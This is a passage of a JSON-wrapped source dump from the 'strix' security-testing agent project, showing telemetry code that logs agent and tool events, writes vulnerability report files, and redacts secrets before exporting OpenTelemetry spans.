sanitized_error,\n            \"source\": source,\n        }\n        if include_run_metadata:\n            record[\"run_metadata\"] = self._sanitize_data(self.run_metadata)\n        self._append_event_record(record)\n\n    def set_run_name(self, run_name: str) -> None:\n        self.run_name = run_name\n        self.run_id = run_name\n        self.run_metadata[\"run_name\"] = run_name\n        self.run_metadata[\"run_id\"] = run_name\n        self._run_dir = None\n        self._events_file_path = None\n        self._run_completed_emitted = False\n        self._set_association_properties({\"run_id\": self.run_id, \"run_name\": self.run_name or \"\"})\n        self._emit_run_started_event()\n\n    def _emit_run_started_event(self) -> None:\n        if not self._telemetry_enabled:\n            return\n\n        self._emit_event(\n            \"run.started\",\n            payload={\n                \"run_name\": self.run_name,\n                \"start_time\": self.start_time,\n                \"local_jsonl_path\": str(self.events_file_path),\n                \"remote_export_enabled\": self._remote_export_enabled,\n            },\n            status=\"running\",\n            include_run_metadata=True,\n        )\n\n    def get_run_dir(self) -> Path:\n        if self._run_dir is None:\n            runs_dir = Path.cwd() / \"strix_runs\"\n            runs_dir.mkdir(exist_ok=True)\n\n            run_dir_name = self.run_name if self.run_name else self.run_id\n            self._run_dir = runs_dir / run_dir_name\n            self._run_dir.mkdir(exist_ok=True)\n\n        return self._run_dir\n\n    def add_vulnerability_report(  # noqa: PLR0912\n        self,\n        title: str,\n        severity: str,\n        description: str | None = None,\n        impact: str | None = None,\n        target: str | None = None,\n        technical_analysis: str | None = None,\n        poc_description: str | None = None,\n        poc_script_code: str | None = None,\n        remediation_steps: str | None = None,\n        cvss: float | None = None,\n        cvss_breakdown: dict[str, str] | None = None,\n        endpoint: str | None = None,\n        method: str | None = None,\n        cve: str | None = None,\n        cwe: str | None = None,\n        code_locations: list[dict[str, Any]] | None = None,\n    ) -> str:\n        report_id = f\"vuln-{len(self.vulnerability_reports) + 1:04d}\"\n\n        report: dict[str, Any] = {\n            \"id\": report_id,\n            \"title\": title.strip(),\n            \"severity\": severity.lower().strip(),\n            \"timestamp\": datetime.now(UTC).strftime(\"%Y-%m-%d %H:%M:%S UTC\"),\n        }\n\n        if description:\n            report[\"description\"] = description.strip()\n        if impact:\n            report[\"impact\"] = impact.strip()\n        if target:\n            report[\"target\"] = target.strip()\n        if technical_analysis:\n            report[\"technical_analysis\"] = technical_analysis.strip()\n        if poc_description:\n            report[\"poc_description\"] = poc_description.strip()\n        if poc_script_code:\n            report[\"poc_script_code\"] = poc_script_code.strip()\n        if remediation_steps:\n            report[\"remediation_steps\"] = remediation_steps.strip()\n        if cvss is not None:\n            report[\"cvss\"] = cvss\n        if cvss_breakdown:\n            report[\"cvss_breakdown\"] = cvss_breakdown\n        if endpoint:\n            report[\"endpoint\"] = endpoint.strip()\n        if method:\n            report[\"method\"] = method.strip()\n        if cve:\n            report[\"cve\"] = cve.strip()\n        if cwe:\n            report[\"cwe\"] = cwe.strip()\n        if code_locations:\n            report[\"code_locations\"] = code_locations\n\n        self.vulnerability_reports.append(report)\n        logger.info(f\"Added vulnerability report: {report_id} - {title}\")\n        posthog.finding(severity)\n        self._emit_event(\n            \"finding.created\",\n            payload={\"report\": report},\n            status=report[\"severity\"],\n            source=\"strix.findings\",\n        )\n\n        if self.vulnerability_found_callback:\n            self.vulnerability_found_callback(report)\n\n        self.save_run_data()\n        return report_id\n\n    def get_existing_vulnerabilities(self) -> list[dict[str, Any]]:\n        return list(self.vulnerability_reports)\n\n    def update_scan_final_fields(\n        self,\n        executive_summary: str,\n        methodology: str,\n        technical_analysis: str,\n        recommendations: str,\n    ) -> None:\n        self.scan_results = {\n            \"scan_completed\": True,\n            \"executive_summary\": executive_summary.strip(),\n            \"methodology\": methodology.strip(),\n            \"technical_analysis\": technical_analysis.strip(),\n            \"recommendations\": recommendations.strip(),\n            \"success\": True,\n        }\n\n        self.final_scan_result = f\"\"\"# Executive Summary\n\n{executive_summary.strip()}\n\n# Methodology\n\n{methodology.strip()}\n\n# Technical Analysis\n\n{technical_analysis.strip()}\n\n# Recommendations\n\n{recommendations.strip()}\n\"\"\"\n\n        logger.info(\"Updated scan final fields\")\n        self._emit_event(\n            \"finding.reviewed\",\n            payload={\n                \"scan_completed\": True,\n                \"vulnerability_count\": len(self.vulnerability_reports),\n            },\n            status=\"completed\",\n            source=\"strix.findings\",\n        )\n        self.save_run_data(mark_complete=True)\n        posthog.end(self, exit_reason=\"finished_by_tool\")\n\n    def log_agent_creation(\n        self,\n        agent_id: str,\n        name: str,\n        task: str,\n        parent_id: str | None = None,\n    ) -> None:\n        agent_data: dict[str, Any] = {\n            \"id\": agent_id,\n            \"name\": name,\n            \"task\": task,\n            \"status\": \"running\",\n            \"parent_id\": parent_id,\n            \"created_at\": datetime.now(UTC).isoformat(),\n            \"updated_at\": datetime.now(UTC).isoformat(),\n            \"tool_executions\": [],\n        }\n\n        self.agents[agent_id] = agent_data\n        self._emit_event(\n            \"agent.created\",\n            actor={\"agent_id\": agent_id, \"agent_name\": name},\n            payload={\"task\": task, \"parent_id\": parent_id},\n            status=\"running\",\n            source=\"strix.agents\",\n        )\n\n    def log_chat_message(\n        self,\n        content: str,\n        role: str,\n        agent_id: str | None = None,\n        metadata: dict[str, Any] | None = None,\n    ) -> int:\n        message_id = self._next_message_id\n        self._next_message_id += 1\n\n        message_data = {\n            \"message_id\": message_id,\n            \"content\": content,\n            \"role\": role,\n            \"agent_id\": agent_id,\n            \"timestamp\": datetime.now(UTC).isoformat(),\n            \"metadata\": metadata or {},\n        }\n\n        self.chat_messages.append(message_data)\n        self._emit_event(\n            \"chat.message\",\n            actor={\"agent_id\": agent_id, \"role\": role},\n            payload={\"message_id\": message_id, \"content\": content, \"metadata\": metadata or {}},\n            status=\"logged\",\n            source=\"strix.chat\",\n        )\n        return message_id\n\n    def log_tool_execution_start(\n        self,\n        agent_id: str,\n        tool_name: str,\n        args: dict[str, Any],\n    ) -> int:\n        execution_id = self._next_execution_id\n        self._next_execution_id += 1\n\n        now = datetime.now(UTC).isoformat()\n        execution_data = {\n            \"execution_id\": execution_id,\n            \"agent_id\": agent_id,\n            \"tool_name\": tool_name,\n            \"args\": args,\n            \"status\": \"running\",\n            \"result\": None,\n            \"timestamp\": now,\n            \"started_at\": now,\n            \"completed_at\": None,\n        }\n\n        self.tool_executions[execution_id] = execution_data\n\n        if agent_id in self.agents:\n            self.agents[agent_id][\"tool_executions\"].append(execution_id)\n\n        self._emit_event(\n            \"tool.execution.started\",\n            actor={\n                \"agent_id\": agent_id,\n                \"tool_name\": tool_name,\n                \"execution_id\": execution_id,\n            },\n            payload={\"args\": args},\n            status=\"running\",\n            source=\"strix.tools\",\n        )\n\n        return execution_id\n\n    def update_tool_execution(\n        self,\n        execution_id: int,\n        status: str,\n        result: Any | None = None,\n    ) -> None:\n        if execution_id not in self.tool_executions:\n            return\n\n        tool_data = self.tool_executions[execution_id]\n        tool_data[\"status\"] = status\n        tool_data[\"result\"] = result\n        tool_data[\"completed_at\"] = datetime.now(UTC).isoformat()\n\n        tool_name = str(tool_data.get(\"tool_name\", \"unknown\"))\n        agent_id = str(tool_data.get(\"agent_id\", \"unknown\"))\n        error_payload = result if status in {\"error\", \"failed\"} else None\n\n        self._emit_event(\n            \"tool.execution.updated\",\n            actor={\n                \"agent_id\": agent_id,\n                \"tool_name\": tool_name,\n                \"execution_id\": execution_id,\n            },\n            payload={\"result\": result},\n            status=status,\n            error=error_payload,\n            source=\"strix.tools\",\n        )\n\n        if tool_name == \"create_vulnerability_report\":\n            finding_status = \"reviewed\" if status == \"completed\" else \"rejected\"\n            self._emit_event(\n                \"finding.reviewed\",\n                actor={\"agent_id\": agent_id, \"tool_name\": tool_name},\n                payload={\"execution_id\": execution_id, \"result\": result},\n                status=finding_status,\n                error=error_payload,\n                source=\"strix.findings\",\n            )\n\n    def update_agent_status(\n        self,\n        agent_id: str,\n        status: str,\n        error_message: str | None = None,\n    ) -> None:\n        if agent_id in self.agents:\n            self.agents[agent_id][\"status\"] = status\n            self.agents[agent_id][\"updated_at\"] = datetime.now(UTC).isoformat()\n            if error_message:\n                self.agents[agent_id][\"error_message\"] = error_message\n\n        self._emit_event(\n            \"agent.status.updated\",\n            actor={\"agent_id\": agent_id},\n            payload={\"error_message\": error_message},\n            status=status,\n            error=error_message,\n            source=\"strix.agents\",\n        )\n\n    def set_scan_config(self, config: dict[str, Any]) -> None:\n        self.scan_config = config\n        self.run_metadata.update(\n            {\n                \"targets\": config.get(\"targets\", []),\n                \"user_instructions\": config.get(\"user_instructions\", \"\"),\n                \"max_iterations\": config.get(\"max_iterations\", 200),\n            }\n        )\n        self._set_association_properties(\n            {\n                \"run_id\": self.run_id,\n                \"run_name\": self.run_name or \"\",\n                \"targets\": config.get(\"targets\", []),\n                \"max_iterations\": config.get(\"max_iterations\", 200),\n            }\n        )\n        self._emit_event(\n            \"run.configured\",\n            payload={\"scan_config\": config},\n            status=\"configured\",\n            source=\"strix.run\",\n        )\n\n    def save_run_data(self, mark_complete: bool = False) -> None:\n        try:\n            run_dir = self.get_run_dir()\n            if mark_complete:\n                if self.end_time is None:\n                    self.end_time = datetime.now(UTC).isoformat()\n                self.run_metadata[\"end_time\"] = self.end_time\n                self.run_metadata[\"status\"] = \"completed\"\n\n            if self.final_scan_result:\n                penetration_test_report_file = run_dir / \"penetration_test_report.md\"\n                with penetration_test_report_file.open(\"w\", encoding=\"utf-8\") as f:\n                    f.write(\"# Security Penetration Test Report\\n\\n\")\n                    f.write(\n                        f\"**Generated:** {datetime.now(UTC).strftime('%Y-%m-%d %H:%M:%S UTC')}\\n\\n\"\n                    )\n                    f.write(f\"{self.final_scan_result}\\n\")\n                logger.info(\n                    \"Saved final penetration test report to: %s\",\n                    penetration_test_report_file,\n                )\n\n            if self.vulnerability_reports:\n                vuln_dir = run_dir / \"vulnerabilities\"\n                vuln_dir.mkdir(exist_ok=True)\n\n                new_reports = [\n                    report\n                    for report in self.vulnerability_reports\n                    if report[\"id\"] not in self._saved_vuln_ids\n                ]\n\n                severity_order = {\"critical\": 0, \"high\": 1, \"medium\": 2, \"low\": 3, \"info\": 4}\n                sorted_reports = sorted(\n                    self.vulnerability_reports,\n                    key=lambda report: (\n                        severity_order.get(report[\"severity\"], 5),\n                        report[\"timestamp\"],\n                    ),\n                )\n\n                for report in new_reports:\n                    vuln_file = vuln_dir / f\"{report['id']}.md\"\n                    with vuln_file.open(\"w\", encoding=\"utf-8\") as f:\n                        f.write(f\"# {report.get('title', 'Untitled Vulnerability')}\\n\\n\")\n                        f.write(f\"**ID:** {report.get('id', 'unknown')}\\n\")\n                        f.write(f\"**Severity:** {report.get('severity', 'unknown').upper()}\\n\")\n                        f.write(f\"**Found:** {report.get('timestamp', 'unknown')}\\n\")\n\n                        metadata_fields: list[tuple[str, Any]] = [\n                            (\"Target\", report.get(\"target\")),\n                            (\"Endpoint\", report.get(\"endpoint\")),\n                            (\"Method\", report.get(\"method\")),\n                            (\"CVE\", report.get(\"cve\")),\n                            (\"CWE\", report.get(\"cwe\")),\n                        ]\n                        cvss_score = report.get(\"cvss\")\n                        if cvss_score is not None:\n                            metadata_fields.append((\"CVSS\", cvss_score))\n\n                        for label, value in metadata_fields:\n                            if value:\n                                f.write(f\"**{label}:** {value}\\n\")\n\n                        f.write(\"\\n## Description\\n\\n\")\n                        description = report.get(\"description\") or \"No description provided.\"\n                        f.write(f\"{description}\\n\\n\")\n\n                        if report.get(\"impact\"):\n                            f.write(\"## Impact\\n\\n\")\n                            f.write(f\"{report['impact']}\\n\\n\")\n\n                        if report.get(\"technical_analysis\"):\n                            f.write(\"## Technical Analysis\\n\\n\")\n                            f.write(f\"{report['technical_analysis']}\\n\\n\")\n\n                        if report.get(\"poc_description\") or report.get(\"poc_script_code\"):\n                            f.write(\"## Proof of Concept\\n\\n\")\n                            if report.get(\"poc_description\"):\n                                f.write(f\"{report['poc_description']}\\n\\n\")\n                            if report.get(\"poc_script_code\"):\n                                f.write(\"```\\n\")\n                                f.write(f\"{report['poc_script_code']}\\n\")\n                                f.write(\"```\\n\\n\")\n\n                        if report.get(\"code_locations\"):\n                            f.write(\"## Code Analysis\\n\\n\")\n                            for i, loc in enumerate(report[\"code_locations\"]):\n                                prefix = f\"**Location {i + 1}:**\"\n                                file_ref = loc.get(\"file\", \"unknown\")\n                                line_ref = \"\"\n                                if loc.get(\"start_line\") is not None:\n                                    if loc.get(\"end_line\") and loc[\"end_line\"] != loc[\"start_line\"]:\n                                        line_ref = f\" (lines {loc['start_line']}-{loc['end_line']})\"\n                                    else:\n                                        line_ref = f\" (line {loc['start_line']})\"\n                                f.write(f\"{prefix} `{file_ref}`{line_ref}\\n\")\n                                if loc.get(\"label\"):\n                                    f.write(f\"  {loc['label']}\\n\")\n                                if loc.get(\"snippet\"):\n                                    f.write(f\"  ```\\n  {loc['snippet']}\\n  ```\\n\")\n                                if loc.get(\"fix_before\") or loc.get(\"fix_after\"):\n                                    f.write(\"\\n  **Suggested Fix:**\\n\")\n                                    f.write(\"```diff\\n\")\n                                    if loc.get(\"fix_before\"):\n                                        for line in loc[\"fix_before\"].splitlines():\n                                            f.write(f\"- {line}\\n\")\n                                    if loc.get(\"fix_after\"):\n                                        for line in loc[\"fix_after\"].splitlines():\n                                            f.write(f\"+ {line}\\n\")\n                                    f.write(\"```\\n\")\n                                f.write(\"\\n\")\n\n                        if report.get(\"remediation_steps\"):\n                            f.write(\"## Remediation\\n\\n\")\n                            f.write(f\"{report['remediation_steps']}\\n\\n\")\n\n                    self._saved_vuln_ids.add(report[\"id\"])\n\n                vuln_csv_file = run_dir / \"vulnerabilities.csv\"\n                with vuln_csv_file.open(\"w\", encoding=\"utf-8\", newline=\"\") as f:\n                    import csv\n\n                    fieldnames = [\"id\", \"title\", \"severity\", \"timestamp\", \"file\"]\n                    writer = csv.DictWriter(f, fieldnames=fieldnames)\n                    writer.writeheader()\n\n                    for report in sorted_reports:\n                        writer.writerow(\n                            {\n                                \"id\": report[\"id\"],\n                                \"title\": report[\"title\"],\n                                \"severity\": report[\"severity\"].upper(),\n                                \"timestamp\": report[\"timestamp\"],\n                                \"file\": f\"vulnerabilities/{report['id']}.md\",\n                            }\n                        )\n\n                if new_reports:\n                    logger.info(\n                        \"Saved %d new vulnerability report(s) to: %s\",\n                        len(new_reports),\n                        vuln_dir,\n                    )\n                logger.info(\"Updated vulnerability index: %s\", vuln_csv_file)\n\n            logger.info(\"📊 Essential scan data saved to: %s\", run_dir)\n            if mark_complete and not self._run_completed_emitted:\n                self._emit_event(\n                    \"run.completed\",\n                    payload={\n                        \"duration_seconds\": self._calculate_duration(),\n                        \"vulnerability_count\": len(self.vulnerability_reports),\n                    },\n                    status=\"completed\",\n                    source=\"strix.run\",\n                    include_run_metadata=True,\n                )\n                self._run_completed_emitted = True\n\n        except (OSError, RuntimeError):\n            logger.exception(\"Failed to save scan data\")\n\n    def _calculate_duration(self) -> float:\n        try:\n            start = datetime.fromisoformat(self.start_time.replace(\"Z\", \"+00:00\"))\n            if self.end_time:\n                end = datetime.fromisoformat(self.end_time.replace(\"Z\", \"+00:00\"))\n                return (end - start).total_seconds()\n        except (ValueError, TypeError):\n            pass\n        return 0.0\n\n    def get_agent_tools(self, agent_id: str) -> list[dict[str, Any]]:\n        return [\n            exec_data\n            for exec_data in list(self.tool_executions.values())\n            if exec_data.get(\"agent_id\") == agent_id\n        ]\n\n    def get_real_tool_count(self) -> int:\n        return sum(\n            1\n            for exec_data in list(self.tool_executions.values())\n            if exec_data.get(\"tool_name\") not in [\"scan_start_info\", \"subagent_start_info\"]\n        )\n\n    def get_total_llm_stats(self) -> dict[str, Any]:\n        from strix.tools.agents_graph.agents_graph_actions import _agent_instances\n\n        total_stats = {\n            \"input_tokens\": 0,\n            \"output_tokens\": 0,\n            \"cached_tokens\": 0,\n            \"cost\": 0.0,\n            \"requests\": 0,\n        }\n\n        for agent_instance in _agent_instances.values():\n            if hasattr(agent_instance, \"llm\") and hasattr(agent_instance.llm, \"_total_stats\"):\n                agent_stats = agent_instance.llm._total_stats\n                total_stats[\"input_tokens\"] += agent_stats.input_tokens\n                total_stats[\"output_tokens\"] += agent_stats.output_tokens\n                total_stats[\"cached_tokens\"] += agent_stats.cached_tokens\n                total_stats[\"cost\"] += agent_stats.cost\n                total_stats[\"requests\"] += agent_stats.requests\n\n        total_stats[\"cost\"] = round(total_stats[\"cost\"], 4)\n\n        return {\n            \"total\": total_stats,\n            \"total_tokens\": total_stats[\"input_tokens\"] + total_stats[\"output_tokens\"],\n        }\n\n    def update_streaming_content(self, agent_id: str, content: str) -> None:\n        self.streaming_content[agent_id] = content\n\n    def clear_streaming_content(self, agent_id: str) -> None:\n        self.streaming_content.pop(agent_id, None)\n\n    def get_streaming_content(self, agent_id: str) -> str | None:\n        return self.streaming_content.get(agent_id)\n\n    def finalize_streaming_as_interrupted(self, agent_id: str) -> str | None:\n        content = self.streaming_content.pop(agent_id, None)\n        if content and content.strip():\n            self.interrupted_content[agent_id] = content\n            self.log_chat_message(\n                content=content,\n                role=\"assistant\",\n                agent_id=agent_id,\n                metadata={\"interrupted\": True},\n            )\n            return content\n\n        return self.interrupted_content.pop(agent_id, None)\n\n    def cleanup(self) -> None:\n        self.save_run_data(mark_complete=True)\n"
  },
  {
    "path": "strix/telemetry/utils.py",
    "content": "import json\nimport logging\nimport re\nimport threading\nfrom collections.abc import Callable, Sequence\nfrom datetime import UTC, datetime\nfrom pathlib import Path\nfrom typing import Any\n\nfrom opentelemetry import trace\nfrom opentelemetry.sdk.trace import ReadableSpan, TracerProvider\nfrom opentelemetry.sdk.trace.export import (\n    BatchSpanProcessor,\n    SimpleSpanProcessor,\n    SpanExporter,\n    SpanExportResult,\n)\nfrom scrubadub import Scrubber\nfrom scrubadub.detectors import RegexDetector\nfrom scrubadub.filth import Filth\n\n\nlogger = logging.getLogger(__name__)\n\n_REDACTED = \"[REDACTED]\"\n_SCREENSHOT_OMITTED = \"[SCREENSHOT_OMITTED]\"\n_SCREENSHOT_KEY_PATTERN = re.compile(r\"screenshot\", re.IGNORECASE)\n_SENSITIVE_KEY_PATTERN = re.compile(\n    r\"(api[_-]?key|token|secret|password|authorization|cookie|session|credential|private[_-]?key)\",\n    re.IGNORECASE,\n)\n_SENSITIVE_TOKEN_PATTERN = re.compile(\n    r\"(?i)\\b(\"\n    r\"bearer\\s+[a-z0-9._-]+|\"\n    r\"sk-[a-z0-9_-]{8,}|\"\n    r\"gh[pousr]_[a-z0-9_-]{12,}|\"\n    r\"xox[baprs]-[a-z0-9-]{12,}\"\n    r\")\\b\"\n)\n_SCRUBADUB_PLACEHOLDER_PATTERN = re.compile(r\"\\{\\{[^}]+\\}\\}\")\n_EVENTS_FILE_LOCKS_LOCK = threading.Lock()\n_EVENTS_FILE_LOCKS: dict[str, threading.Lock] = {}\n_NOISY_OTEL_CONTENT_PREFIXES = (\n    \"gen_ai.prompt.\",\n    \"gen_ai.completion.\",\n    \"llm.input_messages.\",\n    \"llm.output_messages.\",\n)\n_NOISY_OTEL_EXACT_KEYS = {\n    \"llm.input\",\n    \"llm.output\",\n    \"llm.prompt\",\n    \"llm.completion\",\n}\n\n\nclass _SecretFilth(Filth):  # type: ignore[misc]\n    type = \"secret\"\n\n\nclass _SecretTokenDetector(RegexDetector):  # type: ignore[misc]\n    name = \"strix_secret_token_detector\"\n    filth_cls = _SecretFilth\n    regex = _SENSITIVE_TOKEN_PATTERN\n\n\nclass TelemetrySanitizer:\n    def __init__(self) -> None:\n        self._scrubber = Scrubber(detector_list=[_SecretTokenDetector])\n\n    def sanitize(self, data: Any, key_hint: str | None = None) -> Any:  # noqa: PLR0911\n        if data is None:\n            return None\n\n        if isinstance(data, dict):\n            sanitized: dict[str, Any] = {}\n            for key, value in data.items():\n                key_str = str(key)\n                if _SCREENSHOT_KEY_PATTERN.search(key_str):\n                    sanitized[key_str] = _SCREENSHOT_OMITTED\n                elif _SENSITIVE_KEY_PATTERN.search(key_str):\n                    sanitized[key_str] = _REDACTED\n                else:\n                    sanitized[key_str] = self.sanitize(value, key_hint=key_str)\n            return sanitized\n\n        if isinstance(data, list):\n            return [self.sanitize(item, key_hint=key_hint) for item in data]\n\n        if isinstance(data, tuple):\n            return [self.sanitize(item, key_hint=key_hint) for item in data]\n\n        if isinstance(data, str):\n            if key_hint and _SENSITIVE_KEY_PATTERN.search(key_hint):\n                return _REDACTED\n\n            cleaned = self._scrubber.clean(data)\n            return _SCRUBADUB_PLACEHOLDER_PATTERN.sub(_REDACTED, cleaned)\n\n        if isinstance(data, int | float | bool):\n            return data\n\n        return str(data)\n\n\ndef format_trace_id(trace_id: int | None) -> str | None:\n    if trace_id is None or trace_id == 0:\n        return None\n    return f\"{trace_id:032x}\"\n\n\ndef format_span_id(span_id: int | None) -> str | None:\n    if span_id is None or span_id == 0:\n        return None\n    return f\"{span_id:016x}\"\n\n\ndef iso_from_unix_ns(unix_ns: int | None) -> str | None:\n    if unix_ns is None:\n        return None\n    try:\n        return datetime.fromtimestamp(unix_ns / 1_000_000_000, tz=UTC).isoformat()\n    except (OSError, OverflowError, ValueError):\n        return None\n\n\n\ndef get_events_write_lock(output_path: Path) -> threading.Lock:\n    path_key = str(output_path.resolve(strict=False))\n    with _EVENTS_FILE_LOCKS_LOCK:\n        lock = _EVENTS_FILE_LOCKS.get(path_key)\n        if lock is None:\n            lock = threading.Lock()\n            _EVENTS_FILE_LOCKS[path_key] = lock\n        return lock\n\n\ndef reset_events_write_locks() -> None:\n    with _EVENTS_FILE_LOCKS_LOCK:\n        _EVENTS_FILE_LOCKS.clear()\n\n\ndef append_jsonl_record(output_path: Path, record: dict[str, Any]) -> None:\n    output_path.parent.mkdir(parents=True, exist_ok=True)\n    with get_events_write_lock(output_path), output_path.open(\"a\", encoding=\"utf-8\") as f:\n        f.write(json.dumps(record, ensure_ascii=False) + \"\\n\")\n\n\ndef default_resource_attributes() -> dict[str, str]:\n    return {\n        \"service.name\": \"strix-agent\",\n        \"service.namespace\": \"strix\",\n    }\n\n\ndef parse_traceloop_headers(raw_headers: str) -> dict[str, str]:\n    headers = raw_headers.strip()\n    if not headers:\n        return {}\n\n    if headers.startswith(\"{\"):\n        try:\n            parsed = json.loads(headers)\n        except json.JSONDecodeError:\n            logger.warning(\"Invalid TRACELOOP_HEADERS JSON, ignoring custom headers\")\n            return {}\n        if isinstance(parsed, dict):\n            return {str(key): str(value) for key, value in parsed.items() if value is not None}\n        logger.warning(\"TRACELOOP_HEADERS JSON must be an object, ignoring custom headers\")\n        return {}\n\n    result: dict[str, str] = {}\n    for part in headers.split(\",\"):\n        key, sep, value = part.partition(\"=\")\n        if not sep:\n            continue\n        key = key.strip()\n        value = value.strip()\n        if key and value:\n            result[key] = value\n    return result\n\n\ndef prune_otel_span_attributes(attributes: dict[str, Any]) -> dict[str, Any]:\n    \"\"\"Drop high-volume LLM payload attributes to keep JSONL event files compact.\"\"\"\n    filtered: dict[str, Any] = {}\n    filtered_count = 0\n\n    for key, value in attributes.items():\n        key_str = str(key)\n        if key_str in _NOISY_OTEL_EXACT_KEYS:\n            filtered_count += 1\n            continue\n\n        if key_str.endswith(\".content\") and key_str.startswith(_NOISY_OTEL_CONTENT_PREFIXES):\n            filtered_count += 1\n            continue\n\n        filtered[key_str] = value\n\n    if filtered_count:\n        filtered[\"strix.filtered_attributes_count\"] = filtered_count\n\n    return filtered\n\n\nclass JsonlSpanExporter(SpanExporter):  # type: ignore[misc]\n    \"\"\"Append OTEL spans to JSONL for local run artifacts.\"\"\"\n\n    def __init__(\n        self,\n        output_path_getter: Callable[[], Path],\n        run_metadata_getter: Callable[[], dict[str, Any]],\n        sanitizer: Callable[[Any], Any],\n        write_lock_getter: Callable[[Path], threading.Lock],\n    ):\n        self._output_path_getter = output_path_getter\n        self._run_metadata_getter = run_metadata_getter\n        self._sanitize = sanitizer\n        self._write_lock_getter = write_lock_getter\n\n    def export(self, spans: Sequence[ReadableSpan]) -> SpanExportResult:\n        records: list[dict[str, Any]] = []\n        for span in spans:\n            attributes = prune_otel_span_attributes(dict(span.attributes or {}))\n            if \"strix.event_type\" in attributes:\n                # Tracer events are written directly in Tracer._emit_event.\n                continue\n            records.append(self._span_to_record(span, attributes))\n\n        if not records:\n            return SpanExportResult.SUCCESS\n\n        try:\n            output_path = self._output_path_getter()\n            output_path.parent.mkdir(parents=True, exist_ok=True)\n            with self._write_lock_getter(output_path), output_path.open(\"a\", encoding=\"utf-8\") as f:\n                for record in records:\n                    f.write(json.dumps(record, ensure_ascii=False) + \"\\n\")\n        except OSError:\n            logger.exception(\"Failed to write OTEL span records to JSONL\")\n            return SpanExportResult.FAILURE\n\n        return SpanExportResult.SUCCESS\n\n    def shutdown(self) -> None:\n        return None\n\n    def force_flush(self, timeout_millis: int = 30_000) -> bool:  # noqa: ARG002\n        return True\n\n    def _span_to_record(\n        self,\n        span: ReadableSpan,\n        attributes: dict[str, Any],\n    ) -> dict[str, Any]:\n        span_context = span.get_span_context()\n        parent_context = span.parent\n\n        status = None\n        if span.status and span.status.status_code:\n            status = span.status.status_code.name.lower()\n\n        event_type = str(attributes.get(\"gen_ai.operation.name\", span.name))\n        run_metadata = self._run_metadata_getter()\n        run_id_attr = (\n            attributes.get(\"strix.run_id\")\n            or attributes.get(\"strix_run_id\")\n            or run_metadata.get(\"run_id\")\n            or span.resource.attributes.get(\"strix.run_id\")\n        )\n\n        record: dict[str, Any] = {\n            \"timestamp\": iso_from_unix_ns(span.end_time) or datetime.now(UTC).isoformat(),\n            \"event_type\": event_type,\n            \"run_id\": str(run_id_attr or run_metadata.get(\"run_id\") or \"\"),\n            \"trace_id\": format_trace_id(span_context.trace_id),\n            \"span_id\": format_span_id(span_context.span_id),\n            \"parent_span_id\": format_span_id(parent_context.span_id if parent_context else None),\n            \"actor\": None,\n            \"payload\": None,\n            \"status\": status,\n            \"error\": None,\n            \"source\": \"otel.span\",\n            \"span_name\": span.name,\n            \"span_kind\": span.kind.name.lower(),\n            \"attributes\": self._sanitize(attributes),\n        }\n\n        if span.events:\n            record[\"otel_events\"] = self._sanitize(\n                [\n                    {\n                        \"name\": event.name,\n                        \"timestamp\": iso_from_unix_ns(event.timestamp),\n                        \"attributes\": dict(event.attributes or {}),\n                    }\n                    for event in span.events\n                ]\n            )\n\n        return record\n\n\ndef bootstrap_otel(\n    *,\n    bootstrapped: bool,\n    remote_enabled_state: bool,\n    bootstrap_lock: threading.Lock,\n    traceloop: Any,\n    base_url: str,\n    api_key: str,\n    headers_raw: str,\n    output_path_getter: Callable[[], Path],\n    run_metadata_getter: Callable[[], dict[str, Any]],\n    sanitizer: Callable[[Any], Any],\n    write_lock_getter: Callable[[Path], threading.Lock],\n    tracer_name: str = \"strix.telemetry.tracer\",\n) -> tuple[Any, bool, bool, bool]:\n    with bootstrap_lock:\n        if bootstrapped:\n            return (\n                trace.get_tracer(tracer_name),\n                remote_enabled_state,\n                bootstrapped,\n                remote_enabled_state,\n            )\n\n        local_exporter = JsonlSpanExporter(\n            output_path_getter=output_path_getter,\n            run_metadata_getter=run_metadata_getter,\n            sanitizer=sanitizer,\n            write_lock_getter=write_lock_getter,\n        )\n        local_processor = SimpleSpanProcessor(local_exporter)\n\n        headers = parse_traceloop_headers(headers_raw)\n        remote_enabled = bool(base_url and api_key)\n        otlp_headers = headers\n        if remote_enabled:\n            otlp_headers = {\"Authorization\": f\"Bearer {api_key}\"}\n            otlp_headers.update(headers)\n\n        otel_init_ok = False\n        if traceloop:\n            try:\n                from traceloop.sdk.instruments import Instruments\n\n                init_kwargs: dict[str, Any] = {\n                    \"app_name\": \"strix-agent\",\n                    \"processor\": local_processor,\n                    \"telemetry_enabled\": False,\n                    \"resource_attributes\": default_resource_attributes(),\n                    \"block_instruments\": {\n                        Instruments.URLLIB3,\n                        Instruments.REQUESTS,\n                    },\n                }\n                if remote_enabled:\n                    init_kwargs.update(\n                        {\n                            \"api_endpoint\": base_url,\n                            \"api_key\": api_key,\n                            \"headers\": headers,\n                        }\n                    )\n                import io\n                import sys\n\n                _stdout = sys.stdout\n                sys.stdout = io.StringIO()\n                try:\n                    traceloop.init(**init_kwargs)\n                finally:\n                    sys.stdout = _stdout\n                otel_init_ok = True\n            except Exception:\n                logger.exception(\"Failed to initialize Traceloop/OpenLLMetry\")\n                remote_enabled = False\n\n        if not otel_init_ok:\n            from opentelemetry.sdk.resources import Resource\n\n            provider = TracerProvider(resource=Resource.create(default_resource_attributes()))\n            provider.add_span_processor(local_processor)\n            if remote_enabled:\n                try:\n                    from opentelemetry.exporter.otlp.proto.http.trace_exporter import (\n                        OTLPSpanExporter,\n                    )\n\n                    endpoint = base_url.rstrip(\"/\") + \"/v1/traces\"\n                    provider.add_span_processor(\n                        BatchSpanProcessor(\n                            OTLPSpanExporter(endpoint=endpoint, headers=otlp_headers)\n                        )\n                    )\n                except Exception:\n                    logger.exception(\"Failed to configure OTLP HTTP exporter\")\n                    remote_enabled = False\n\n            try:\n                trace.set_tracer_provider(provider)\n                otel_init_ok = True\n            except Exception:\n                logger.exception(\"Failed to set OpenTelemetry tracer provider\")\n                remote_enabled = False\n\n        otel_tracer = trace.get_tracer(tracer_name)\n        if otel_init_ok:\n            return otel_tracer, remote_enabled, True, remote_enabled\n\n        return otel_tracer, remote_enabled, bootstrapped, remote_enabled_state\n"
  },
  {
    "path": "strix/tools/__init__.py",
